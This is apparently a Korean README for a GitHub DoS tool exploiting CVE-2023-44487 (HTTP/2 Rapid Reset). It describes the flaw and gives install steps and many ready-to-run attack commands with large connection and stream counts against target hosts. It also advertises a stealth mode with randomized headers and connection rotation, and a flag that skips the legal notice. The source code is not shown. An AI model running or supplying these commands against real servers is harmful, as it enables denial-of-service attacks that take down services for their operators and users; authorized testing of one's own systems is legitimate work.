CVE-2023-44487 HTTP/2 DoS Rapid Reset 익스플로잇
프로페셔널 에디션 v1.0.1 | 저자: Sudeepa Wanigarathna
-orange.svg)
목차
개요
CVE-2023-44487(HTTP/2 Rapid Reset 취약점)을 위한 프로페셔널 등급 평가 프레임워크입니다. 이 도구는 보안 전문가가 최근 몇 년간 공개된 가장 영향력 있는 HTTP/2 DoS 조건 중 하나에 대해 시스템을 테스트하고 검증할 수 있도록 돕습니다.
HTTP/2 스트림을 빠르게 생성하고 재설정하면 서버 리소스를 고갈시켜 서비스 거부(DoS) 상태를 유발할 수 있다는 것을 보여줍니다.
주요 기능 한눈에 보기
- 다중 연결 공격 엔진 — 동시 HTTP/2 연결
- 적응형 속도 제어 — 최대 효과를 위한 동적 조정
- 스텔스 모드 — 무작위 헤더 및 연결 순환
- 포괄적인 보고 — 위험 평가를 포함한 JSON/CSV
- Docker 지원 — 컨테이너화된 배포
- 실시간 모니터링 — 실시간 공격 지표 및 진행 상황
- 프로페셔널 로깅 — 파일 로깅을 지원하는 컬러 콘솔 출력
| 사용법 | 결과 |
|---|
 |  |
취약점 세부 정보
CVE-2023-44487: HTTP/2 Rapid Reset 공격
| 속성 | 값 |
|---|
| CVE ID | CVE-2023-44487 |
| CVSS 점수 | 7.5 (높음) |
| 공격 벡터 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 영향 | 서비스 거부(리소스 고갈) |
| 영향받는 프로토콜 | HTTP/2 |
| 공개 날짜 | 2023년 10월 |
기술 개요
이 취약점은 HTTP/2 프로토콜의 스트림 관리 메커니즘을 악용합니다:
- 스트림 생성 — 클라이언트가 새 스트림을 만들기 위해 HEADERS 프레임을 전송
- 즉시 재설정 — 클라이언트가 즉시 RST_STREAM 프레임을 전송
- 서버 처리 — 서버는 두 프레임을 모두 처리해야 하므로 리소스 소비
- 리소스 고갈 — 반복적인 주기가 서버 리소스를 압도
영향
- HTTP/2 서버의 리소스 고갈
- 잠재적 서비스 거부(DoS)
- 로드 밸런서, 프록시, CDN에 영향을 줄 수 있음
- 인증이나 특별한 권한이 필요 없음
기능
핵심 기능
| 기능 | 설명 |
|---|
| HTTP/2 지원 | h2 라이브러리를 사용한 전체 HTTP/2 프로토콜 구현 |
| 다중 연결 | 여러 연결을 통한 동시 공격 |
| SSL/TLS | 인증서 검증 옵션이 포함된 HTTPS 지원 |
| 적응형 속도 제어 | 서버 응답에 따라 공격 속도를 동적으로 조정 |
| 스텔스 모드 | 무작위 헤더 및 연결 순환 |
| 실시간 모니터링 | 실행 중 실시간 지표 표시 |
| 포괄적인 보고 | 위험 평가가 포함된 JSON/CSV 출력 |
| Docker 지원 | 손쉬운 테스트를 위한 컨테이너화된 배포 |
고급 기능
- 프록시 지원 — 확장 가능한 프록시 구성
- 연결 풀링 — 효율적인 연결 관리
- 오류 복구 — 연결 실패의 안정적인 처리
- 성능 튜닝 — 다양한 시나리오를 위한 구성 가능한 설정
- CI/CD 통합 — 자동화된 보안 테스트에 적합
요구 사항
시스템 요구 사항
| 구성 요소 | 최소 | 권장 |
|---|
| OS | Linux / macOS / Windows | Linux 또는 macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2코어 | 4코어 이상 |
| RAM | 2GB | 4GB+ |
| 네트워크 | 100Mbps | 1Gbps+ |
종속성
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
설치
1. 빠른 설치
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
2. 가상 환경 (권장)
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
3. Docker 설치
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
4. 수동 설치
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
빠른 시작
기본 사용법
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
빠른 테스트 (5초)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
전체 평가 (60초)
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
사용 가이드
명령줄 옵션
대상 구성
| 옵션 | 설명 | 기본값 |
|---|
host | 대상 호스트명 또는 IP | 필수 |
-p, --port | 대상 포트 | 443 |
--no-ssl | SSL/TLS 비활성화 | False |
--no-verify | SSL 검증 건너뛰기 | False |
공격 구성
| 옵션 | 설명 | 기본값 |
|---|
-c, --connections | 동시 연결 수 | 50 |
-s, --streams | 연결당 스트림 수 | 1000 |
-d, --duration | 지속 시간(초) | 30 |
--max-streams | 최대 총 스트림 수 | 100000 |
--delay | 작업 간 기본 지연 시간 | 0.0001s |
고급 옵션
| 옵션 | 설명 | 기본값 |
|---|
--adaptive | 적응형 속도 제어 | True |
--target-rps | 초당 목표 요청 수 | 10000 |
--stealth | 스텔스 모드(무작위 헤더) | False |
--skip-validation | 대상 검증 건너뛰기 | False |
--force | 법적 고지 프롬프트 건너뛰기 | False |
보고
| 옵션 | 설명 | 기본값 |
|---|
-o, --output | 출력 파일 이름 | exploit_results.json |
--format | 출력 형식 (json / csv / console) | json |
-v, --verbose | 상세 로깅 | False |
구성 옵션
위의 CLI 플래그를 사용하여 동시성, 스트림 수, 지속 시간 및 보고를 조정하십시오. 초기 검증에는 낮은 -c / -s / -d 값을 사용하고, 승인된 스트레스 테스트 대상 시스템에서만 규모를 늘리십시오.
| 시나리오 | 권장 플래그 |
|---|
| 스모크 테스트 | -c 10 -s 100 -d 5 |
| 표준 평가 | -c 50 -s 1000 -d 30 |
| 고부하 실험실 테스트 | -c 100 -s 2000 -d 60 --stealth |
| 신뢰할 수 없는 인증서 | --no-verify |
| 일반 HTTP | -p 80 --no-ssl |
Docker 지원
이미지 빌드
docker build -t cve-2023-44487-exploit .
기본 평가 실행
docker run --rm cve-2023-44487-exploit target.com
사용자 지정 매개변수로 실행
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
결과를 로컬에 저장
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
대화형 모드
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
Docker Compose
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
예제
1. 기본 HTTPS 평가
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
2. HTTP 평가 (SSL 없음)
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
3. 고성능 실험실 실행
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
4. 스텔스 모드
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
5. 빠른 검증 테스트
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
6. CSV 보고서 생성
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
7. 검증 건너뛰기
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
8. 승인된 프로덕션 테스트
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
결과 이해
출력 지표